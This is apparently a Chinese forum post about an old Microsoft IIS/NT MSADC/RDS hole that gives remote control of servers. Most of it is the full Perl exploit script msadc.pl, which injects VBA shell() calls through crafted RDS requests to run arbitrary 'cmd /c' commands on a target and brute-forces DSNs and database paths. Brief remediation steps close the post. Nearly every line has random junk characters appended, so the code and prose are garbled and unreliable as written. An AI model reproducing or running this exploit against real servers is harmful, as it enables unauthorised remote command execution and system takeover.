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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ]^]wP]R_  
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涉及程序: N g,j#  
Microsoft NT server }7X%'Bg=M  
5 dg(e3T  
描述: >d6|^h'0  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 adw2x pj  
.(vwIb8\_  
详细: {Ha57Wk8D  
如果你没有时间读详细内容的话,就删除: M3AXe]<eC1  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Pc9H0\+Xk  
有关的安全问题就没有了。 zreU')a  
@PU [:;  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 PW4q~rc=:  
ntY]SK%Z  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 SX*RP;vHy  
关于利用ODBC远程漏洞的描述,请参看:  _4f;<FL  
W9)&!&<o  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm v>56~AJ  
1eKT^bgM  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Debv4Gr;^  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp r :dTz  
/<3UQLMa  
这里不再论述。 = / 8cp  
3a|\dav%  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: m kexc~l  
oU/5 a>9~  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset cNH7C"@GVu  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! s@C}P  
w>YDNOk  
<uJ@:oWG7  
#将下面这段保存为txt文件,然后: "perl -x 文件名" /( LL3cZK  
`x|?&Ytmf9  
#!perl +n)9Tz5  
# Z ]ONh  
# MSADC/RDS 'usage' (aka exploit) script t^L]/$q  
# 5X+A"X ;C  
# by rain.forest.puppy g+l CMW\  
# Z{R>  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 2?x4vI np;  
# beta test and find errors! BuwY3F\-O  
Lr<cMK<  
use Socket; use Getopt::Std; U~8g_*  
getopts("e:vd:h:XR", \%args); =#\:}@J5I  
*] (iS  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; l^qI, M  
_j3fAr(V  
if (!defined $args{h} && !defined $args{R}) { nrb Ok4Dz  
print qq~ M_8{]uo  
Usage: msadc.pl -h <host> { -d <delay> -X -v } {8OCXus3m  
-h <host> = host you want to scan (ip or domain) M}Sv8D]I  
-d <seconds> = delay between calls, default 1 second AR=]=8  
-X = dump Index Server path table, if available kP"9&R`E  
-v = verbose ceV}WN19l  
-e = external dictionary file for step 5 VE24ToI?W"  
8_8l.!~  
Or a -R will resume a command session =Uh$&m  
xA/D'  
~; exit;} RpF&\x>  
hQ i2U  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; KSvE~h[#+  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 9iq_rd]  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} o@Oqm>]SS  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); nlYNN/@"  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} OCUr{Nh  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ..qCPlK;  
YMgNzu  
if (!defined $args{R}){ $ret = &has_msadc; G?ZXWu.  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} /NlGFO*Z  
yw!{MO  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" xU vs:  
. "cmd /c "; 99S ^f:t  
$in=<STDIN>; chomp $in; w &(ag$p'  
$command="cmd /c " . $in ; j F>[?L  
. ^u,.  
if (defined $args{R}) {&load; exit;} ;I*o@x_  
Ei|\3Kx  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; `g,..Ns-r  
&try_btcustmr; Ngwb Q7)  
WM{=CD  
print "\nStep 2: Trying to make our own DSN..."; xmX 4qtAL  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; p[-O( 3Y  
G"6 !{4g  
print "\nStep 3: Trying known DSNs..."; rZF*q2?  
&known_dsn; :t[_:3@  
KP"+e:a%  
print "\nStep 4: Trying known .mdbs..."; Rv=YFo[B  
&known_mdb; S:Hl/:iV  
<UI [%yXj  
if (defined $args{e}){ <[phnU^ 8  
print "\nStep 5: Trying dictionary of DSN names..."; sS Mh`4'  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } JLYi]nZ  
%RVZD#zr  
print "Sorry Charley...maybe next time?\n"; IcEdG(  
exit; )7d&NE_  
\lY_~*J  
############################################################################## 4JEpl'5^Q  
/mHqurB  
sub sendraw { # ripped and modded from whisker } #J/fa9 !  
sleep($delay); # it's a DoS on the server! At least on mine... J05e#-)<K  
my ($pstr)=@_; !W\+#ez  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 7 &\yj9  
die("Socket problems\n"); Bwrx*J  
if(connect(S,pack "SnA4x8",2,80,$target)){ /{[o ~:'p  
select(S); $|=1; mR~&)QBP.  
print $pstr; my @in=<S>; [Zrr)8A  
select(STDOUT); close(S); *#2h/Q.  
return @in; j+!v}*I![  
} else { die("Can't connect...\n"); }} 9ati`-y2  
B[}6-2<>?C  
############################################################################## H.;Q+A,8^  
\!(zrfP{(  
sub make_header { # make the HTTP request ZC ?Xqp  
my $msadc=<<EOT LscGTs,  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 G B^Br6  
User-Agent: ACTIVEDATA 5tnlrqC  
Host: $ip i1085ztN  
Content-Length: $clen s*4dxnS_8  
Connection: Keep-Alive RNL9>7xV  
"|NI]Kv  
ADCClientVersion:01.06 wq{hF<  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 =%7-ZH9  
Q/?$x*\>  
--!ADM!ROX!YOUR!WORLD! "&] -2(  
Content-Type: application/x-varg -4K5-|>O  
Content-Length: $reqlen r^ XVB`v  
gr{ DWCK  
EOT z{543~Og59  
; $msadc=~s/\n/\r\n/g; ]iWRo'  
return $msadc;} IgzQr >  
3R/bz0 V>  
############################################################################## 'R)Tn!6  
KoRV %@I  
sub make_req { # make the RDS request rjP/l6 ~'  
my ($switch, $p1, $p2)=@_; 0_/[k*Re  
my $req=""; my $t1, $t2, $query, $dsn; lYIH/:T  
`XKLU  
if ($switch==1){ # this is the btcustmr.mdb query iCoX& "lb  
$query="Select * from Customers where City=" . make_shell(); "tZe>>I  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . _g8yDfcLG  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ^Pf WG*  
y7{?Ip4[  
elsif ($switch==2){ # this is general make table query IBGrt^$M  
$query="create table AZZ (B int, C varchar(10))"; LD?sh"?b  
$dsn="$p1";} @iiT<  
hoP]9&<T  
elsif ($switch==3){ # this is general exploit table query / 1RpM]d  
$query="select * from AZZ where C=" . make_shell(); W)/#0*7  
$dsn="$p1";} 5G#n"}T  
^q&x7Kv%  
elsif ($switch==4){ # attempt to hork file info from index server F@t3!bj9  
$query="select path from scope()"; iscz}E,Y  
$dsn="Provider=MSIDXS;";} #Z#-Ht  
sA~]$A;DM!  
elsif ($switch==5){ # bad query mq l Z?-  
$query="select"; Ef\ -VKh  
$dsn="$p1";} hP h-+Hb  
i%/+5gq  
$t1= make_unicode($query); x;S @bY  
$t2= make_unicode($dsn); S/ *E,))m  
$req = "\x02\x00\x03\x00"; +q4O D$}  
$req.= "\x08\x00" . pack ("S1", length($t1)); [^)g%|W  
$req.= "\x00\x00" . $t1 ; OI*H,Z "  
$req.= "\x08\x00" . pack ("S1", length($t2));  G*m 0\  
$req.= "\x00\x00" . $t2 ; dr(*T  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; m 5.Zu.  
return $req;} "%_+-C<L4  
]'cs.  
############################################################################## Xvv6~  
=l6mL+C  
sub make_shell { # this makes the shell() statement _!6jR5&r,  
return "'|shell(\"$command\")|'";} f3;5Am  
1oS/`)  
############################################################################## #WuBL_nZ~  
M}a6Vu9  
sub make_unicode { # quick little function to convert to unicode 3]>|  i  
my ($in)=@_; my $out; 0sqFF[i  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } >z03{=sAN  
return $out;} w]H->B29C  
sK{e*[I>W  
############################################################################## 9x8fhAy}4  
5R-6ji  
sub rdo_success { # checks for RDO return success (this is kludge) sB</DS  
my (@in) = @_; my $base=content_start(@in); XSDpRo  
if($in[$base]=~/multipart\/mixed/){ ' %qr.T %  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Ri{=]$  
return 0;} r$1Qf}J3=  
|>Vb9:q9Po  
############################################################################## )4OxY[2J  
{=WgzP  
sub make_dsn { # this makes a DSN for us yfSmDPh  
my @drives=("c","d","e","f"); hM{bavd  
print "\nMaking DSN: "; ` A>@]d  
foreach $drive (@drives) { +TJCLZ..  
print "$drive: "; M{@(G5  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . =(Mch~  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="  g(052]  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); f 2.HF@  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;  \zkg  
return 0 if $2 eq "404"; # not found/doesn't exist BLttb  
if($2 eq "200") { R5D1w+  
foreach $line (@results) { b sX[UF  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 53D]3  
} return 0;} .]u /O`c]  
d~H`CrQE*  
############################################################################## ?}0,o.  
*g%yRU{N  
sub verify_exists { %A`+WYeuX  
my ($page)=@_; t!XwW$@  
my @results=sendraw("GET $page HTTP/1.0\n\n"); vt8By@]:  
return $results[0];} 2 nCA<&  
6'/ #+,d'  
############################################################################## _U(  
Nc`L;CP  
sub try_btcustmr { Y|n"dMrL  
my @drives=("c","d","e","f"); "[J^YKoF  
my @dirs=("winnt","winnt35","winnt351","win","windows"); +rd+0 `}C  
e= AKD#  
foreach $dir (@dirs) { yAt ^;  
print "$dir -> "; # fun status so you can see progress WJ#[LF!e  
foreach $drive (@drives) { \e;iT\=.(  
print "$drive: "; # ditto fu5=k:/c  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; A&VG~r$  
$reqlenlen=length( "$reqlen" ); KPF1cJ2N  
$clen= 206 + $reqlenlen + $reqlen; w>gYx(8b  
xp t:BBo  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); %v|B *  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} vzM ^$V  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} [WmM6UEVS  
ueudRb  
############################################################################## h0$iOE  
&8H'eAA  
sub odbc_error { l **X^+=$  
my (@in)=@_; my $base; t_^4`dW`  
my $base = content_start(@in); U6K|fY N`  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this \D4:Nt#  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; CTb%(<r  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (zk"~Ud  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; oU8q o-J1H  
return $in[$base+4].$in[$base+5].$in[$base+6];} @]j1:PN-  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; A"]YM'.  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . rp$'L7lrX  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} V`- 9m$  
>7|VR:U?B  
############################################################################## Ac@VGT:9  
s[jTP(d)8  
sub verbose { K0~rN.C!0  
my ($in)=@_;  R&&4y 7  
return if !$verbose; (=0.inZ  
print STDOUT "\n$in\n";} XSR 4iu  
V0@=^Bls  
############################################################################## e+WNk 2  
Vr}'.\$  
sub save { l#o ~W`  
my ($p1, $p2, $p3, $p4)=@_; .A|udZ,  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; S[gx{Bxiw  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 7#XzrT]  
close OUT;} {c'lhUB  
IxU/?Zm  
############################################################################## zCZf%ATq  
?}oFg#m-<L  
sub load { `?]k{ l1R  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 9{l}bu/u  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); dPlV>IM$z  
@p=<IN>; close(IN); T)/eeZ$  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); CJY$G}rk  
$target= inet_aton($ip) || die("inet_aton problems"); FrS]|=LJhX  
print "Resuming to $ip ..."; Ui~>SN>s  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; @"A4$`Xi3  
if($p[1]==1) { oR'm2d^  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; [,Gg^*umS  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; (QEG4&9  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 6x`t{g]f,  
if (rdo_success(@results)){print "Success!\n";} QRUz`|U  
else { print "failed\n"; verbose(odbc_error(@results));}} [0!(xp^  
elsif ($p[1]==3){ 01]f2.5  
if(run_query("$p[3]")){ Z@HEj_n  
print "Success!\n";} else { print "failed\n"; }} [txE .7p  
elsif ($p[1]==4){ j#|ZP-=1_  
if(run_query($drvst . "$p[3]")){ vh^VxS  
print "Success!\n"; } else { print "failed\n"; }} q9"96({\@  
exit;} @d'j zs  
e'~3oqSvR  
############################################################################## zhQJy?>'m  
I7onX,U+  
sub create_table {  B,@i  
my ($in)=@_; z/-=%g >HA  
$reqlen=length( make_req(2,$in,"") ) - 28; d]9z@Pd   
$reqlenlen=length( "$reqlen" ); $Sq:q0  
$clen= 206 + $reqlenlen + $reqlen; ch]IzdD  
my @results=sendraw(make_header() . make_req(2,$in,"")); `Di{}/2  
return 1 if rdo_success(@results); KlEpzJ98  
my $temp= odbc_error(@results); verbose($temp); 7CysfBF0g  
return 1 if $temp=~/Table 'AZZ' already exists/; -7ep{p-  
return 0;} sJZ iI}Xc  
_BufO7 `.  
############################################################################## llq<egZpm  
dtDFoETz  
sub known_dsn { /ZX }Nc g  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go '1[Ft03  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", &oNAv-m^GD  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", M\j.8jG  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); F,kZU$  
$4\j]RE!  
foreach $dSn (@dsns) { "]*tLL:`  
print "."; Pz7XAcPQ(  
next if (!is_access("DSN=$dSn")); [),ige  
if(create_table("DSN=$dSn")){ CpN>p.kM  
print "$dSn successful\n"; PT ~D",k  
if(run_query("DSN=$dSn")){ (Ldi|jL  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { i b m4fa  
print "Something's borked. Use verbose next time\n";}}} print "\n";} :RYTL'hes  
'u658Tj  
############################################################################## /v}`l  
)7@0[>  
sub is_access { "@kaHIf[  
my ($in)=@_; ooGM$U  
$reqlen=length( make_req(5,$in,"") ) - 28; {g6%(X\r.r  
$reqlenlen=length( "$reqlen" ); M|-)GvR$J  
$clen= 206 + $reqlenlen + $reqlen; M5B# TAybC  
my @results=sendraw(make_header() . make_req(5,$in,"")); }JfjX '  
my $temp= odbc_error(@results); V&i;\9  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Ac6=(B  
return 0;} iLT}oKF2N;  
AW .F3hN)  
############################################################################## a.'*G6~Qgw  
dx]>(e@(t{  
sub run_query { (hsl~Jf  
my ($in)=@_; l:%GH  
$reqlen=length( make_req(3,$in,"") ) - 28; $( )>g>%  
$reqlenlen=length( "$reqlen" ); .hiSw  
$clen= 206 + $reqlenlen + $reqlen; o  K@"f9  
my @results=sendraw(make_header() . make_req(3,$in,"")); +(*DT9s+  
return 1 if rdo_success(@results); ?upM>69{  
my $temp= odbc_error(@results); verbose($temp); H]!"Zq k  
return 0;} >p/`;Kq@  
51u0]Qx;fm  
############################################################################## +"(jjxJm  
uEY tE7  
sub known_mdb { yVc(`,tZ(  
my @drives=("c","d","e","f","g"); X 8|EHb<  
my @dirs=("winnt","winnt35","winnt351","win","windows"); xPgBV~  
my $dir, $drive, $mdb; "L1Zi.)  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; d3Rw!slIq  
^.G$Q#y,  
# this is sparse, because I don't know of many Je@v8{][|  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ;=@0'xPEa-  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", -8Xf0_  
"\\system32\\certmdb.mdb", iLz@5Zj8  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 23?rEhKe  
eQ"E   
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", h~26WLf.  
"\\cfusion\\cfapps\\forums\\forums_.mdb", -&;TA0~;  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", {!`4iiF  
"\\cfusion\\cfapps\\security\\realm_.mdb", M;NX:mX9  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 6RM/GM  
"\\cfusion\\database\\cfexamples.mdb", _6Ha  
"\\cfusion\\database\\cfsnippets.mdb", :LTN!jj  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", __@BUK{q  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", YP9^Bp{0  
"\\cfusion\\brighttiger\\database\\cleam.mdb", mTh]PPo   
"\\cfusion\\database\\smpolicy.mdb", zJXplvaL;  
"\\cfusion\\database\cypress.mdb", [Yyk0Qv|4  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", l@\FWWQ  
"\\website\\cgi-win\\dbsample.mdb", Tr|JYLwF  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", FqifriLN  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" i?gSC<a  
); #these are just KgG4*<  
foreach $drive (@drives) { 8_tQa^.n\  
foreach $dir (@dirs){ ':}\4j&{E  
foreach $mdb (@sysmdbs) { 2Hdu:"j  
print "."; K>9 ()XT)  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ fatf*}eln  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; e%6QTg5#  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ &?vgP!d&M  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; H1T.(M/"  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 6Iw\c  
TKjFp%  
foreach $drive (@drives) {  9a kH  
foreach $mdb (@mdbs) { |M_UQQAB|  
print "."; !wp3!bLp  
if(create_table($drv . $drive . $dir . $mdb)){ }i2V.tVB-  
print "\n" . $drive . $dir . $mdb . " successful\n"; E e]-qN*8  
if(run_query($drv . $drive . $dir . $mdb)){ KU;9}!#  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; lLD12d  
} else { print "Something's borked. Use verbose next time\n"; }}}} Ha#>G<;n  
} a: S -  
X(C$@N  
############################################################################## PzGWff!*n  
[:V$y1  
sub hork_idx { vI]N^j2%  
print "\nAttempting to dump Index Server tables...\n"; _~pbqa,  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 5PW^j\G-f  
$reqlen=length( make_req(4,"","") ) - 28; 2-b6gc7  
$reqlenlen=length( "$reqlen" ); =mGez )T5\  
$clen= 206 + $reqlenlen + $reqlen; uGt-l4  
my @results=sendraw2(make_header() . make_req(4,"","")); <,(,jU)j  
if (rdo_success(@results)){ 4OX^(  
my $max=@results; my $c; my %d; c|1&lYal;  
for($c=19; $c<$max; $c++){ |)81Lz  
$results[$c]=~s/\x00//g; {iLT/i%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; !Uc T RI  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; d7i]FV  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; X7 w Ky(g  
$d{"$1$2"}="";} O~QB!<Q+  
foreach $c (keys %d){ print "$c\n"; } `XB 9Mi=  
} else {print "Index server doesn't seem to be installed.\n"; }} 05k0n E  
$A` VYJtt#  
############################################################################## fX+O[j  
0^ibNiSP  
sub dsn_dict { '\GbmD^F  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Lp7SLkwh3M  
while(<IN>){ m`_ONm'T&  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 4aY|TN/|  
next if (!is_access("DSN=$dSn")); d/Q%IeEL.  
if(create_table("DSN=$dSn")){ )ANmIwmC#  
print "$dSn successful\n"; ]7mt[2 Cd  
if(run_query("DSN=$dSn")){ gdoLyxQ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { -gWZwW/lD  
print "Something's borked. Use verbose next time\n";}}} PT9*)9<L  
print "\n"; close(IN);} Faf&U%]*`  
~nPtlrQa#*  
############################################################################## %#}Zy   
qv"$Bd:]r  
sub sendraw2 { # ripped and modded from whisker B]$GSEB  
sleep($delay); # it's a DoS on the server! At least on mine... `g})|Gx  
my ($pstr)=@_; )0R'(#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Tqk\XILG N  
die("Socket problems\n"); iyp=lLk  
if(connect(S,pack "SnA4x8",2,80,$target)){ yA>nli=  
print "Connected. Getting data"; z~Q>V]a>;  
open(OUT,">raw.out"); my @in; LD g?'y;2  
select(S); $|=1; print $pstr; LrK,_)r:~  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} T5:G$-qL(  
close(OUT); select(STDOUT); close(S); return @in; BCcjK6'  
} else { die("Can't connect...\n"); }} h=%_Ao<x  
VQ{fne<  
############################################################################## +'@Dz9:>  
^BL"wk  
sub content_start { # this will take in the server headers 2>H24F  
my (@in)=@_; my $c; 5BJmA2L  
for ($c=1;$c<500;$c++) { e,5C8Q`Z  
if($in[$c] =~/^\x0d\x0a/){ /OJ`c`>Q:  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ~WN:DXn  
else { return $c+1; }}} ss e.*75U  
return -1;} # it should never get here actually $a %MOKr  
M|[oaanY'  
############################################################################## t.'!`5G  
I0 RvnMw  
sub funky { `V3Fx{  
my (@in)=@_; my $error=odbc_error(@in); "x /OIf  
if($error=~/ADO could not find the specified provider/){ RAK-UN  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; O,A{3DAe0  
exit;} H$KTo/  
if($error=~/A Handler is required/){ R^e.s -  
print "\nServer has custom handler filters (they most likely are patched)\n"; Z*2Vpnqh\  
exit;} ~| 6[j<ziL  
if($error=~/specified Handler has denied Access/){ \_6/vZ%-B  
print "\nServer has custom handler filters (they most likely are patched)\n";  =4!e&o  
exit;}} Q?/o%`N  
0,8okA H  
############################################################################## 9?3&?i2-  
@jlw_ob2g  
sub has_msadc { B !=F2  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); HgkC~'  
my $base=content_start(@results); E\2%E@0#  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ]P2"[y  
return 0;} 9]wN Bd  
[R7Y}k:9U  
######################## 8&Y^""#e)  
-8rjgB~."/  
 {s{j~M  
解决方案: fe#\TNeQJ[  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll <nK?LcP  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 fn 6J *[`  
{Z5nGG  
拿出来充数 哈哈
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